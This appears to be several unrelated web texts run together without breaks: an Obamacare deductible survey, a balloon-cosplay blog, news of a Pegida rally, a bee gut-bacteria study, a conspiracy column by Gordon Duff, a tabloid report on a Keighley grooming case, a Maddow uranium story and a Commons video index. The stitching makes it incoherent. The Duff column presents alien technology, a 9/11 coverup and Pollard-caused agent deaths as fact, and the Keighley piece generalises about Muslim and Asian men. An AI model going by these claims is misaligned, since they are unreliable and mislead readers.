Commonwealth's survey found that 68 percent of customers who earn above that threshold have plan deductibles of $1,000 or more. But just 30 percent of customers who fell below the 250 percent cutoff have deductibles that top $1,000.
The report said that "cost-sharing reductions [in Obamacare plans] have made deductibles similar to those incurred in employer plans."
"The share of lower-income adults with high deductibles is similar in marketplace plans and in employer plans," the report said. "At higher incomes, however, marketplace enrollees were significantly more likely than employer plan enrollees to have a high-deductible plan."
In other survey findings, about 40 percent of respondents said they had selected a so-called narrow network plan that has fewer covered doctors and hospitals than other plans. Those plans tend to have lower costs for customers than broader network plans.
Nearly 80 percent of Obamacare customers said they were either very or somewhat satisfied with the doctors in their plans' networks, and 64 percent said their plans included some or all of the doctors they wanted.This cosplay took forever to make, not because it was too much more difficult than the other Megaman cosplays that I have made but because my balloon art mentor told me to make it with different sizes of balloons than I had made before and I was attempting to make a second identical cosplay for one of my friends. I actually rebuilt the cosplay and the Megaman cosplay 5 times during the AFO convention and after all of that I only got to enjoy the last day of the convention and was unable to do it for the costume contest! Thus I learned many things about my cosplays, I should not only make sure that I have the correct kind of balloon but also do not change my style of making cosplays unless I have practiced at home. I also learned that I need to be more organized, I thought that I had most of what I needed but I did not plan for the extra things I would need for two cosplays and it made it so that I had to leave my project several times throughout the weekend. I also had over seven hundred balloons blown up and was not able to all my tools as easily due to my frustration and disorganization. In fact if it were not for my new balloon art boss Michael Taylor of Orlando Party Store www.orlandopartystore.com/ helping me figure out a clear direction and helping me make the breastplate, I may not have been able to complete even my cosplay. In the end I was able to complete my cosplay but I only had the helmet, gauntlets, boots and belt made for Megaman and half of his breastplate thus he did not want to wear it because it was incomplete. Hopefully the lessons that I learned from all of the mishaps will help me prevent most of these problems from happening again! I am currently practicing for making some of my cosplays by making various pieces early so I know exactly what to do! Photo originally taken by Justin Haimes www.facebook.com/SnakeChips he is a cosplaying friend of mine at conventions!Fears are growing in Germany of a far-Right resurgence stoked by the refugee crisis, after nearly 20,000 took to the streets of Dresden in the biggest rally by the Pegida anti-immigrant movement for months.
Martin Schulz, the German president of the European parliament, warned of the potential for “far-Right violence and brutality” while Sigmar Gabriel, the German vice-Chancellor, accused Pegida’s leaders of using the “battle rhetoric” of the early Nazi party.
The charge came as one of the speakers at a massive Pegida rally in Dresden spoke of regret that “the concentration camps are out of action”.
Photo: EPA Between 15,000 and 20,000 people took part in a demonstration to mark the first anniversary of Pegida’s founding on Monday, according to police.
It was the largest crowd at a Pegida rally since 25,000 people took part in a march in January. They were matched almost exactly by counter-demonstrations that saw between 15,000 and 19,000 people protest against the group.
At least one person was injured in clashes between the rival protestors, and three were arrested.
Pegida, or Patriotic Europeans against the Islamisation of the West, effectively collapsed in January after its founder, Lutz Bachmann, was photographed posing as Hitler.
But it has seen a resurgence in recent weeks on the back of opposition to Angela Merkel’s decision to welcome hundreds of thousands of refugees to Germany.
Mr Gabriel, who tried to engage with the movement in January, accused it of having become “a reservoir of racist xenophobia” and “street arm” of the NPD, a politcal party widely seen as neo-Nazi.
Photo: EPA There was widespread outrage after a speaker at Monday’s rally described Muslims as “pumping infidels with their Muslim juice”.
Akif Pirincci, a German-Turkish writer, described refugees as “invaders” and warned Germany would become a “Muslim garbage dump”.
“There is an alternative, of course,” Mr Pirinicci said. “But unfortunately the concentration camps are unfortunately out of action at the moment.”
His comments came as Mr Schulz warned that the threat from the far-Right should not be dismissed.
“The number of far-Right extremists is lower in Germany than in other countries, but the violence and brutality are much higer,” he told the Rheinische Post newspaper.
“In Germany there is definitely far-Right violence. And there is a fear rhetoric reaching far into the centre that is giving then far-Right courage.”
Henriette Reker, the new mayor of Cologne, was stabbed and seriously wounded hours before her election by a man who said he opposed her support for refugees.
Photo: AP Graffiti death threats have since appeared in the city of Leipzig against its mayor, Burkhard Jung, over his pro-refugee policies.
While the far-Right are growing more vocal, their supporters remain in the minority in Germany.
Pegida rallies have regularly been outnumbered by counter-demonstrations. More than 100,000 people marched in a protest against the movement in January.
The NPD won only 1.3 per cent of the votes in Germany’s last general electon, in 2013, and failed to cross the minimum threshold for parliament.Scientists have uncovered which bacterial species in the bee gut allow them to digest their pollen-rich diet. Credit: Bob Peterson, Flickr The honey bee gut is colonized by specialized bacteria that help digest components of the floral pollen diet and produce molecules that likely promote bee health. In a study publishing 12 December in the open access journal PLOS Biology, a group of researchers led by Philipp Engel at the University of Lausanne and ETH Zürich, Switzerland, have uncovered which bacterial species perform which specific digestive functions in the bee gut.
The authors measured the repertoire of simple chemical compounds - the so-called "metabolome" - from bee guts. They then compared the gut metabolomes of bees colonized with each bacterial species individually and in combination. By this method, the team identified what each bacterial species contributes to the bee digestion and the various strategies bacteria deploy to co-exist in the animal gut.
Of particular note, they identified one several species of the genus Lactobacillus that digests convert specific plant compounds called flavonoids - abundant in pollen and recently linked to the health of mice and humans through their breakdown by the gut microbiota. Another bee gut bacterial species, Bifidobacterium asteroides, triggered the production of bee hormones that can modulate the immune system and behavior of its host.
Honey bees, a principal pollinator in agriculture and natural environments, have suffered from colony declines in recent years. The gut bacteria in bees and their pollen-rich diet are known contributors to honey bees' health, and understanding the functions of the various bacteria could have implications for colony health as a whole.
"We took advantage of the key characteristics of the bee gut microbiota: its simplicity." says Philipp Engel, the corresponding author of the study. Contrary to human gut microbiota, the bee gut is composed of only a few bacterial species. This makes analyzing each member separately and determining its contribution to the overall metabolite changes in the gut feasible."
"We have identified many exciting metabolic functions of bee gut bacteria. The next step is to understand how these functions impact colony's health so that one day we can apply our findings in apiaries."
Explore further: Camponotini ant species have their own distinct microbiomes
More information: Kešnerová L, Mars RAT, Ellegaard KM, Troilo M, Sauer U, Engel P (2017) Disentangling metabolic functions of bacteria in the honey bee gut. PLoS Biol 15(12): e2003467. doi.org/10.1371/journal.pbio.2003467Is Fantasy Now a Reality, Has it Always Been?
By Gordon Duff Senior Editor
There is a cult within the intelligence community, those who chase the brass ring, the highest level of security of any documents or programs. Even presidents have been denied access.
Our only connection to that “other world” is television, shows like Fringe and the dozens of TV shows and hundreds of films based on the Majestic 12 documents. Few are aware that shows like X Files or films like Independence Day or Close Encounters of the Third Kind are based on evidence with an aspect of discernible authenticity. Did you catch my use of “weasel words” there?
For decades we have been bombarded with UFO stories, tales of government mind control, secret death rays, mysterious aircraft “reverse engineered” from flying saucers, nuclear weapons the size of baseballs, it never ends.
With the rise of anti-government feeling, rage and anger, some of it carefully engineered from the inside out of something more than partisanship but as an obvious tool to undermine public participation in democracy, we call it “the Murdoch effect,” conspiratorialism has become a disease. It is also a tool of deception.
At one time the FBI infiltrated, first organized crime, then trade unions, then the Klan and now, they are after 9/11 Truth, environmental groups and, particularly, any political group that, no matter how peaceful, espouses creation of a 3rd party.
The top of the list, however, is free journalism and the internet.
For a short time, Julian Assange was a hero. Crooked politicians called for his extradition and imprisonment. His associate Bradley Manning is still a political prisoner, no question about that.
But revelations about Assange and his connections to Israel, the New York Times and his admissions of bias and censorship, ended that.
Independent analysis of Wikileaks found valuable material for sure but only enough to sell the real product, phony intelligence in Iran and Pakistan and clear manipulation of world politics in favor of long range Israeli goals.
Assange, to those of us in media who yearned for a hero, someone like Ken O’Keefe, but with real “insider access” left us disappointed. We felt betrayed.
One of the last things Assange did of note, not writing him off yet however, after all, he hasn’t gotten a stake through the heart, was to hint at the release of UFO files. He says he has them.
Something you don’t know about happened. A Scottish systems administrator, a computer guru named Gary McKinnon, back in the early 2000’s, hacked top NASA and Defense Department computers. Though the US claims he destroyed files and accessed secrets, perhaps he knows where Iraq’s WMD’s really went to. That’s cheap cover.
In fact, the stories about McKinnon ring like the tales of superspy Jonathan Pollard, the Israeli touted with stealing “chickenfeed” but getting a life sentence with top intelligence and defense officials threatening “bombshells” if Pollard is released, even though Prime Minister Netanhayu has begged for “mercy” for Pollard.
The truth? Pollard spied, not for Israel but “through Israel,” for the Soviets, causing over 1100 US agents, CIA and assets to be arrested, tortured and killed. Information Pollard sold to the Soviet Union, we have since learned, nearly drove them to a nuclear “first strike” against the United States.
This is how governments lie, no secrets there.
McKinnon got the “motherlode.” He got UFO files. Now, you will love this one, our secret squirrel agencies are so creative. What we have leaked is that McKinnon got records that prove America has a “10th Fleet” of interstellar battleships, right out of Star Trek.
Sounds to me like he may have hacked the gradebooks at Star Fleet Academy, perhaps trying to get a Bush family member a slot on the USS Enterprise on one of those “5 year missions,” you know the ones, where they meet aliens, explore new planets and have sex with new and unusual species.
Of course that goes on in Washington all the time anyway, all of it.
This is where “sources” come in. We can’t access Assange’s UFO files, ones we are told talk about secret bases in Antarctica and Chile, that outline UFO wars over Mexico, oddly somewhat supported by video evidence.
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A few weeks ago, Veterans Today covered a UFO siting, filmed with an IPhone, over Central London. We laughed about it but we also filed it away. The Londoners staring up at this weren’t part of the “tin foil hat” brigade. It’s not about whether or not “they” are intelligent life but rather whether we are.
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McKinnon became “public enemy number one,” not for stealing files that tell a story nobody will ever believe, I sure don’t. He has something else, this is what “sources” tell us. We’re going to look at where the chatter goes and discuss the even greater significance of “disclosure.”
We know the US government lied about Iraq. Some of us know bin Laden died long ago. Most accept that John F. Kennedy was murdered by 3 snipers, my guess working for FBI director J. Edgar Hoover. My guesses are “better than average.” Check on that.
Scandals like Watergate brought down a government with almost nothing while Iran Contra, something a thousand times more serious, narcotics and arms trading by the White House, disappeared from history.
9/11 is the grand daddy of all scandals, a long exposed and admitted coverup that would expose the US government in a scandal so evil, so frightening that its severity alone is what protects it. There may even be more to this story, something we will be getting back to.
For adequate background, something needed early on, on the direction conspiracy theory is heading, the Richard Dolan video, a very long presentation, is probably worth watching.
I will preface the link by saying that I teach classes in debunking phony intelligence. This is one of my niches in life, the result, very truthfully, of being an idiot and learning to laugh at myself. There is no better school than the University of Life.
I have bought an education there few can approach. When I am accused of spying by such as Jonathan Kay, I nearly laugh myself to death.
What is the most important thing is being able to pick facts or reasonable assumptions from things others want you to believe. Here is a free lesson:
If it sounds good, confirms your suspicions and makes you want to act, send money to someone or vote for some idiot, you are being lied to.
Anyway, here is the Dolan piece. What is dangerous about it is this:
The parts that are most boring or most unpleasant are most likely true. I don’t know Dolan, don’t know his motives but “sources” high in security agencies say that this video has upset people very much.
As for why, we are going to discuss this and perhaps a bit of what McKinnon found as well.
[youtube DsJDsxmzMDw]
The “chatter” involves “disclosure.” Disclosure means America admitting that there is something much more critical than flying saucers and the dreaded “anal probe.” Disclosure means, as Dolan suggests, that we have had a secondary technical capability that only creeps into our daily lives when it passes an economic filter.
This is the supposition:
Alien technology has been recovered, perhaps by Germans during World War 2, I have had “leaks” confirming this, no, not the V2 or the ME262, but things much more advanced. America is said to have such technology, has had it for decades and certain aspects of it are used in technologies we are using now.
Others are kept “black.” The confirmations received verify that we do have “alien technology.”
Let’s talk a bit of history. I mentioned Majestic 12. Don’t bother looking it up, OK,
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to the local authority in September.
We asked for the ethnic breakdown of the 183 suspects — 66 of whom have been arrested — but at the time of writing this information was not forthcoming.
One doesn’t need the sharpest legal mind to realise that the disturbing factors which contributed to past scandals in other parts of the UK are present here in Keighley.
Perhaps one of the most chilling factors was highlighted earlier this week by local Tory councillor Zafar Ali. It is in his Keighley Central ward that the unfortunate girl was groomed.
‘Like nearly all my fellow Muslims, I want to see these gangs of paedophiles removed from our community and imprisoned for a long time,’ he said.
‘The men who committed these awful crimes are a stain on our community and have done untold damage to Keighley as a town.’
Note the words ‘nearly all my fellow Muslims’. For while many Muslims lead exemplary family lives and share the outrage sparked by these crimes, there is a dangerous minority who do not.
When asked by the Mail this week to explain his statement, the councillor clarified what he meant by the phrase.
Mohammed Akram, 63, was jailed for five years for rape at Bradford Crown Court and Hussain Sardar (right), 19, from Keighley received six years detention in a young offenders institution
‘It is important to be aware that, sadly, a small number of people within the Muslim community do take the view that the victim is partly to blame,’ Zafar Ali told us. ‘They believe it takes two to tango. They must be confronted about their abhorrent views.’
His shocking admission echoes what brave voices such as former Home Secretary Jack Straw and Kris Hopkins, Tory MP for Keighley, have been saying for years.
The backlash against this victim, who is now 18, from some local Muslims began shortly after the 12 men were sent down on Monday.
The following, barely literate outburst was posted on Facebook at 10.07 pm that night.
‘A big shout to all mums who’s son’s got sentenced without any evidence. Am wiv u all... today [the victim’s] mother is wiv her Coz she knows here daughter will get a fat compensation lol [laugh out loud] it makes me sick!!! I seen it all. she was good friends wiv my niece!! Yeah some of erm lads did go wiv her but she wanted it and lied [about] her age!!!!’
The girl, remember, was just 13 years old at the time of the attacks. She came from an unhappy home and had been rejected by her mother, a heavy drinker.
During her year-long ordeal, she was frequently beaten.
Three of the convicted — Nazir Khan, 24, his brother Faisal Khan, 27, and Zain Ali, 20 — all lived in Dalton Lane, a small street of terraced houses. The trio, together with Saqib Younis — a cousin of the Khan brothers — and Hussain Sardar, 19 (who was 15 at the time), were found guilty of raping her on a single afternoon in 2012.
Israr Ali (left), 19, from Keighley, received three and a half years detention and Zain Ali, 20, from Keighley, received eight years, both in a young defenders institute
‘There is no evidence against them,’ said a young woman resident of Dalton Lane. ‘They were just charged. It’s a stitch-up.’
Other residents told the same story. One was a close relative of Zain Ali (who was 17 at the time he committed the offences). ‘They have not done it,’ she insisted. ‘Zain was a lovely child. He was so polite. He would do anything for anyone.
‘Our children’s lives have been destroyed. It’s not just our kids who have been punished. All their families have got a life sentence and it’s so unfair.’
The view expressed by some was that even if they might have had sex with a 13-year-old, she had lied about her age and went with them willingly. In other words, in that chilling phrase again, ‘it takes two to tango’.
In fact, the judge went into considerable detail in his summing up that made clear there was nothing consensual about what happened on that afternoon more than three years ago.
On that occasion, five attackers took it in turns to rape the girl in a yard near Dalton Lane.
It was, the judge said, ‘degrading and humiliating’, and ‘prolonged and sustained’ as well as ‘being backed up by Arif’s [Chowdhury] violence and threats’.
Keighley has a population of 56,348, of which 39,971 are white British (71 per cent), according to the last census. There are 10,261 Pakistanis (18 per cent) and around 2,000 Bangladeshis. Unsurprisingly, because of the discredited liberal philosophy of multi-culturalism, which encouraged ethnic minorities to keep their own culture rather than integrate into British ways, the town is geographically divided by race.
Keighley was recently named among the ‘least integrated’ places in the UK in a report by the Policy Exchange think-tank. The findings were based on key indicators such as the number of people who held a British passport, how many households were ethnically mixed, and employment status.
Anyone who believes that race and cultural differences are incidental to these scandals should study the evidence in this most recent case. The young victim was repeatedly called a ‘little white b*****d’, ‘little white sl*g’, and ‘white b***h.’
Almost all the victims of Asian gangs are white girls. Why? A number of reasons have been cited by both Muslims and non-Muslims.
‘I’m not saying it’s not happening to Asian girls,’ Mohammed Shafiq, chief executive of the Muslim youth organisation, the Ramadhan Foundation, told the Mail.
‘But Asian men do not tend to go for Asian girls because someone could come knocking on their door. They do not want fathers or brothers or community leaders speaking out against them.’
Arif Chowdhury, 20, allegedly left for Bangladesh during the investigation after he was arrested in 2012
White girls are seen as more available, more promiscuous and an easy outlet for young Muslims who may be trapped in unhappy arranged marriages.
In extreme cases, such cultural pressures help produce young men like Arif Chowdhury and his cronies who regard white girls as not only ‘available’ but also worthless.
As the judge made clear: ‘She [the victim] demanded pity and understanding, but their view of her was heartless and demeaning. They saw her as a pathetic figure who had no worth and who served no other purpose than to be an object they could sexually misuse and cast aside. They showed her no shred of decency or humanity.’
The girl was introduced to Chowdhury through a friend and soon came under his sociopathic control. She had played truant from school and had run away from home more than 70 times.
It would be all too easy to blame social workers and the police for not doing more to help her, but the judge made no criticism of them.
The truth is that, like so many other vulnerable youngsters, she slipped through the net.
Chowdhury regularly beat her, the court heard. Even if he was not present, the threat of what he might do to her was enough to ensure she did not flee.
Chowdhury lived with his Bangladeshi parents. He had a brother and two sisters, one of whom lived elsewhere. The police, according to neighbours, were regular visitors at their stone-built terrace house.
Although both his parents were unemployed, Chowdhury was always well dressed and had lots of money.
‘He was dealing drugs from the house and in the street,’ said someone who knows the family.
‘His dad was not happy, but he thought he could do what he wanted, so he did.’
Chowdhury was arrested in 2013 after his victim finally found the courage to report him and began to tell her harrowing story to social workers.
Where is Arif Chowdhury now? He is believed to be in his family’s native Bangladesh.
His victim, on the other hand, is serving her own psycho- logical sentence.
‘I have struggled to remain in control of my emotions and life in general,’ she said in a statement which was read out to the court.The world may have narrowly averted a serious nuclear accident in February when US scientists managed to get a deposit of enriched uranium out of Chile in the midst of a massive earthquake, MSNBC’s Rachel Maddow told viewers Tuesday night.
Maddow reported on revelations in a Time magazine article that US officials were secretly engaged in removing from the country 40 pounds of enriched uranium — the material needed for nuclear weapons and nuclear power generation — when the 8.8-magnitude quake struck.
The earthquake occurred barely 12 hours after US and Chilean scientists had secured the uranium in special containers lined with eight inches of lead and steel. Had the uranium been unsecured at the time of the quake, there would have been a real risk of a nuclear incident. Forty pounds of uranium is enough to take “part of a large city,” Maddow reported.
With the quake having destroyed the port where the uranium would be loaded onto two US ships, the scientists scrambled overnight to find an alternative route to get the uranium out of Chile, finally settling on another port, 50 miles away from the original.
The scientists moved the uranium in a “dark-of-night convoy through ravaged countryside with no electricity,” Maddow reported. At the port, another close call ensued when one of the cranes loading the uranium onto a US ship malfunctioned and sent the uranium swinging overhead, before it was brought under control.
Maddow reported that the uranium — which reportedly was being used as part of Chile’s nuclear energy program — ended up in South Carolina, where it was processed into less dangerous nuclear fuel.
“Much of the uranium around the world is very loosely guarded, and that is an enormous threat,” reporter Ron Suskind told Maddow. “That is why the Obama administration has stepped up, and to be sure they’ve gone beyond the Bush administration quite dramatically.”
President Obama hosts the heads of 47 countries in Washington this week for a nuclear security summit, the largest gathering of world leaders on US soil in more than half a century. Ahead of that conference, Ukraine announced it would be getting rid of its stockpile of enriched uranium, left over from when the country hosted Soviet nuclear weapons.
“Forty-seven nations coming to the US saying we need to solve this problem — that is an enormous step forward,” Suskind said.
Maddow noted that last year Obama announced a goal of securing the world’s loose nuclear materials within four years.
“Everybody thought that health reform was going to be President Obama’s lasting presidential legacy,” Maddow said. “Health reform, I’d like to introduce you to your very dramatic international match.”
This video is from MSNBC’s The Rachel Maddow Show, broadcast April 12, 2010.Note: Latency in the video stream means index items will appear first.
09:34:29 Oral Questions to the Secretary of State for Environment, Food and Rural Affairs
09:34:36 George Eustice MP, The Minister of State, Department for Environment, Food and Rural Affairs (Camborne and Redruth, Conservative)
09:35:06 Luke Hall MP (Thornbury and Yate, Conservative)
09:35:19 George Eustice MP, The Minister of State, Department for Environment, Food and Rural Affairs (Camborne and Redruth, Conservative)
09:35:48 Rachael Maskell MP (York Central, Labour (Co-op))
09:36:36 George Eustice MP, The Minister of State, Department for Environment, Food and Rural Affairs (Camborne and Redruth, Conservative)
09:37:16 Rachael Maskell MP (York Central, Labour (Co-op))
09:37:54 George Eustice MP, The Minister of State, Department for Environment, Food and Rural Affairs (Camborne and Redruth, Conservative)
09:38:29 Rt Hon Caroline Spelman MP (Meriden, Conservative)
09:38:53 George Eustice MP, The Minister of State, Department for Environment, Food and Rural Affairs (Camborne and Redruth, Conservative)
09:39:24 Kerry McCarthy MP (Bristol East, Labour)
09:40:01 George Eustice MP, The Minister of State, Department for Environment, Food and Rural Affairs (Camborne and Redruth, Conservative)
09:40:25 Q2. What steps the Government is taking to prevent hunting trophies from threatened or endangered species being imported to the UK. (905714)
09:41:01 Kevin Foster MP (Torbay, Conservative)
09:41:18 Rory Stewart MP, The Parliamentary Under-Secretary of State for Environment, Food and Rural Affairs (Penrith and The Border, Conservative)
09:41:42 Rt Hon David Hanson MP (Delyn, Labour)
09:41:53 Rory Stewart MP, The Parliamentary Under-Secretary of State for Environment, Food and Rural Affairs (Penrith and The Border, Conservative)
09:42:13 Margaret Ferrier MP (Rutherglen and Hamilton West, Scottish National Party)
09:42:30 Rory Stewart MP, The Parliamentary Under-Secretary of State for Environment, Food and Rural Affairs (Penrith and The Border, Conservative)
09:42:56 Q3. What assessment she has made of the potential effect of the UK leaving the EU on rural development programmes. (905715)
09:43:34 Martyn Day MP (Linlithgow and East Falkirk, Scottish National Party)
09:43:40 George Eustice MP, The Minister of State, Department for Environment, Food and Rural Affairs (Camborne and Redruth, Conservative)
09:43:57 Patricia Gibson MP (North Ayrshire and Arran, Scottish National Party)
09:44:16 George Eustice MP, The Minister of State, Department for Environment, Food and Rural Affairs (Camborne and Redruth, Conservative)
09:44:38 Mr Philip Hollobone MP (Kettering, Conservative)
09:45:15 George Eustice MP, The Minister of State, Department for Environment, Food and Rural Affairs (Camborne and Redruth, Conservative)
09:45:50 Mr David Nuttall MP (Bury North, Conservative)
09:46:10 George Eustice MP, The Minister of State, Department for Environment, Food and Rural Affairs (Camborne and Redruth, Conservative)
09:46:31 Jonathan Reynolds MP (Stalybridge and Hyde, Labour (Co-op))
09:46:41 George Eustice MP, The Minister of State, Department for Environment, Food and Rural Affairs (Camborne and Redruth, Conservative)
09:47:10 Rebecca Pow MP (Taunton Deane, Conservative)
09:47:34 George Eustice MP, The Minister of State, Department for Environment, Food and Rural Affairs (Camborne and Redruth, Conservative)
09:47:50 Liz Saville Roberts MP (Dwyfor Meirionnydd, Plaid Cymru)
09:48:09 George Eustice MP, The Minister of State, Department for Environment, Food and Rural Affairs (Camborne and Redruth, Conservative)
09:48:34 Calum Kerr MP (Berwickshire, Roxburgh and Selkirk, Scottish National Party)
09:48:52 George Eustice MP, The Minister of State, Department for Environment, Food and Rural Affairs (Camborne and Redruth, Conservative)
09:49:20 Q4. What progress her Department and its agencies have made on making data publicly available in the last 12 months. (905716)
09:49:47 Craig Whittaker MP (Calder Valley, Conservative)
09:50:16 Rt Hon Elizabeth Truss MP, The Secretary of State for Environment, Food and Rural Affairs (South West Norfolk, Conservative)
09:50:49 Mr Barry Sheerman MP (Huddersfield, Labour (Co-op))
09:51:15 George Eustice MP, The Minister of State, Department for Environment, Food and Rural Affairs (Camborne and Redruth, Conservative)
09:51:40 Rob Marris MP (Wolverhampton South West, Labour)
09:51:54 Rt Hon Elizabeth Truss MP, The Secretary of State for Environment, Food and Rural Affairs (South West Norfolk, Conservative)
09:52:22 Q5. What recent steps the Great British Food Unit has taken to promote regional food and drink. (905718)
09:52:50 Graham Evans MP (Weaver Vale, Conservative)
09:53:18 Rt Hon Elizabeth Truss MP, The Secretary of State for Environment, Food and Rural Affairs (South West Norfolk, Conservative)
09:53:56 Rt Hon Sir Simon Burns MP (Chelmsford, Conservative)
09:54:16 Rt Hon Elizabeth Truss MP, The Secretary of State for Environment, Food and Rural Affairs (South West Norfolk, Conservative)
09:54:51 Richard Graham MP (Gloucester, Conservative)
09:55:25 Rt Hon Elizabeth Truss MP, The Secretary of State for Environment, Food and Rural Affairs (South West Norfolk, Conservative)
09:55:55 Nick Smith MP (Blaenau Gwent, Labour)
09:56:26 Rt Hon Elizabeth Truss MP, The Secretary of State for Environment, Food and Rural Affairs (South West Norfolk, Conservative)
09:56:52 Alison Thewliss MP (Glasgow Central, Scottish National Party)
09:57:14 Rt Hon Elizabeth Truss MP, The Secretary of State for Environment, Food and Rural Affairs (South West Norfolk, Conservative)
09:57:35 Jim Shannon MP (Strangford, Democratic Unionist Party)
09:57:51 Rt Hon Elizabeth Truss MP, The Secretary of State for Environment, Food and Rural Affairs (South West Norfolk, Conservative)
09:58:45 Q8. What assessment she has made of the effectiveness of recent badger culls. (905721)
09:59:03 Rt Hon Ann Clwyd MP (Cynon Valley, Labour)
09:59:36 George Eustice MP, The Minister of State, Department for Environment, Food and Rural Affairs (Camborne and Redruth, Conservative)
10:00:07 Q9. If the Government will underwrite Basic Payment Scheme payments at current levels until the end of 2020. (905722)
10:00:33 Angela Smith MP (Penistone and Stocksbridge, Labour)
10:01:00 Rt Hon Elizabeth Truss MP, The Secretary of State for Environment, Food and Rural Affairs (South West Norfolk, Conservative)
10:01:28 Neil Parish MP (Tiverton and Honiton, Conservative)
10:01:50 Rt Hon Elizabeth Truss MP, The Secretary of State for Environment, Food and Rural Affairs (South West Norfolk, Conservative)
10:02:31 Q11. What assessment she has made of recent trends in food prices. (905724)
10:02:56 Jessica Morden MP (Newport East, Labour)
10:03:21 George Eustice MP, The Minister of State, Department for Environment, Food and Rural Affairs (Camborne and Redruth, Conservative)
10:03:49 Q12. What recent steps the Government has taken to work with industry to increase the number of apprenticeships in the food, farming and agri-technology sector. (905725)
10:04:12 Huw Merriman MP (Bexhill and Battle, Conservative)
10:04:37 Rt Hon Elizabeth Truss MP, The Secretary of State for Environment, Food and Rural Affairs (South West Norfolk, Conservative)
10:05:20 Topical Questions to the Secretary of State for Environment, Food and Rural Affairs
10:05:57 Alec Shelbrooke MP (Elmet and Rothwell, Conservative)
10:06:14 Rt Hon Elizabeth Truss MP, The Secretary of State for Environment, Food and Rural Affairs (South West Norfolk, Conservative)
10:06:54 Rachael Maskell MP (York Central, Labour (Co-op))
10:07:01 Rt Hon Elizabeth Truss MP, The Secretary of State for Environment, Food and Rural Affairs (South West Norfolk, Conservative)
10:07:41 Rachael Maskell MP (York Central, Labour (Co-op))
10:08:09 Rt Hon Elizabeth Truss MP, The Secretary of State for Environment, Food and Rural Affairs (South West Norfolk, Conservative)
10:08:40 John Stevenson MP (Carlisle, Conservative)
10:09:06 Rory Stewart MP, The Parliamentary Under-Secretary of State for Environment, Food and Rural Affairs (Penrith and The Border, Conservative)
10:09:56 John Nicolson MP (East Dunbartonshire, Scottish National Party)
10:10:19 Rt Hon Elizabeth Truss MP, The Secretary of State for Environment, Food and Rural Affairs (South West Norfolk, Conservative)
10:10:54 Luke Hall MP (Thornbury and Yate, Conservative)
10:11:07 George Eustice MP, The Minister of State, Department for Environment, Food and Rural Affairs (Camborne and Redruth, Conservative)
10:11:30 Jeff Smith MP (Manchester, Withington, Labour)
10:11:49 Rt Hon Elizabeth Truss MP, The Secretary of State for Environment, Food and Rural Affairs (South West Norfolk, Conservative)
10:12:25 Rebecca Pow MP (Taunton Deane, Conservative)
10:12:45 Rory Stewart MP, The Parliamentary Under-Secretary of State for Environment, Food and Rural Affairs (Penrith and The Border, Conservative)
10:13:11 Lilian Greenwood MP (Nottingham South, Labour)
10:13:33 Rory Stewart MP, The Parliamentary Under-Secretary of State for Environment, Food and Rural Affairs (Penrith and The Border, Conservative)
10:13:56 Craig Whittaker MP (Calder Valley, Conservative)
10:14:14 Rory Stewart MP, The Parliamentary Under-Secretary of State for Environment, Food and Rural Affairs (Penrith and The Border, Conservative)
10:14:50 Nia Griffith MP (Llanelli, Labour)
10:15:14 Rory Stewart MP, The Parliamentary Under-Secretary of State for Environment, Food and Rural Affairs (Penrith and The Border, Conservative)
10:15:34 Andrew Stephenson MP (Pendle, Conservative)
10:15:49 Rt Hon Elizabeth Truss MP, The Secretary of State for Environment, Food and Rural Affairs (South West Norfolk, Conservative)
10:16:04 Dr Eilidh Whiteford MP (Banff and Buchan, Scottish National Party)
10:16:29 Rt Hon Elizabeth Truss MP, The Secretary of State for Environment, Food and Rural Affairs (South West Norfolk, Conservative)
10:16:48 Mark Menzies MP (Fylde, Conservative)
10:17:06 Rory Stewart MP, The Parliamentary Under-Secretary of State for Environment, Food and Rural Affairs (Penrith and The Border, Conservative)
10:17:30 Oral Questions to the right hon. Member for Meriden, representing the Church Commissioners and the hon. Member for South West Devon, representing the Speaker's Committee on the Electoral Commission
10:17:36 Q1. To ask the right hon. Member for Meriden, representing the Church Commissioners, What discussions the Church of England has had with the Government on plans to regulate out-of-school education settings. (905693)
10:20:27 Q2. To ask the right hon. Member for Meriden, representing the Church Commissioners, What recent steps have been taken by the Church of England to tackle human trafficking. (905694)
10:20:54 Henry Smith MP (Crawley, Conservative)
10:30:08 John Mann MP (Bassetlaw, Labour)
10:30:08 Q9. To ask the right hon. Member for Meriden, representing the Church Commissioners, What assessment the Church Commissioners have made of the adequacy of toilet provision for visitors to historic churches. (905702)
10:30:48 Rt Hon Caroline Spelman MP, The Second Church Estates Commissioner (Meriden, Conservative)
10:31:23 Business Statement
10:31:30 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
10:32:10 Paul Flynn MP (Newport West, Labour)
10:37:21 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
10:40:50 Philip Davies MP (Shipley, Conservative)
10:41:29 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
10:42:02 Pete Wishart MP (Perth and North Perthshire, Scottish National Party)
10:44:28 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
10:47:13 Bob Blackman MP (Harrow East, Conservative)
10:48:30 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
10:49:21 Diana Johnson MP (Kingston upon Hull North, Labour)
10:50:09 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
10:50:28 Mr Ian Liddell-Grainger MP (Bridgwater and West Somerset, Conservative)
10:51:13 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
10:51:43 Rt Hon John Spellar MP (Warley, Labour)
10:52:38 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
10:53:07 Mark Pritchard MP (The Wrekin, Conservative)
10:53:27 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
10:53:53 Rt Hon Nigel Dodds MP (Belfast North, Democratic Unionist Party)
10:54:22 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
10:54:34 Dr Matthew Offord MP (Hendon, Conservative)
10:55:04 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
10:55:24 Robert Flello MP (Stoke-on-Trent South, Labour)
10:55:57 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
